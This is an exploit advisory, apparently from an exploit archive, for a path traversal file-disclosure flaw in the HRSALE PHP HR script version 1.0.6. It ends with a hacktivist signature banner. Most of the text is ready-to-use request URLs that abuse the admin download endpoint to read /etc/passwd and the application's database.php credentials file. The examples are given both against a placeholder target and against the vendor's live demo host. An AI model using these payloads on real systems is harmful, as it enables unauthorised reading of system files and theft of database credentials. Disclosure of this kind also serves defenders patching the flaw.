# Exploit Title: HRSALE - HR Management PHP Script - LFD # Google Dork: N/A # Date: 2018/1/8 # Exploit Author: ShanoWeb # Author Mail : Mr[dot]Net2Net[at]Gmail[dot]com # Vendor Homepage: http://hrsale.com # Software Buy: https://www.codester.com/items/8599/hrsale-hr-management-php-script # Demo: http://newdemo.hrsale.com/ # Version: 1.0.6 # Tested on: Win7 x64, Kali Linux x64 # Exploit : Hi 2 All http://[target]/admin/download?type=files&filename=../../../../../../etc/passwd database: http://[target]/admin/download?type=files&filename=../../application/config/database.php ex: http://newdemo.hrsale.com/admin/download?type=files&filename=../../../../../../etc/passwd http://newdemo.hrsale.com/admin/download?type=files&filename=../../application/config/database.php :D ./ |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-| | Find and patch bug in your website and system| | Contact : Mr[dot]Net2Net[at]Gmail[dot]com | |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-| |=============================================================| /-------------------------------------------------------------\ | My Message To | \-------------------------------------------------------------/ |= [!] Make Love,Not War!. Peace No War! |= [!] We Are One! |= [!] We are Legion,We do not Forgive,We Do not Forge |= [!] We Love All Children from Palestine |=============================================================|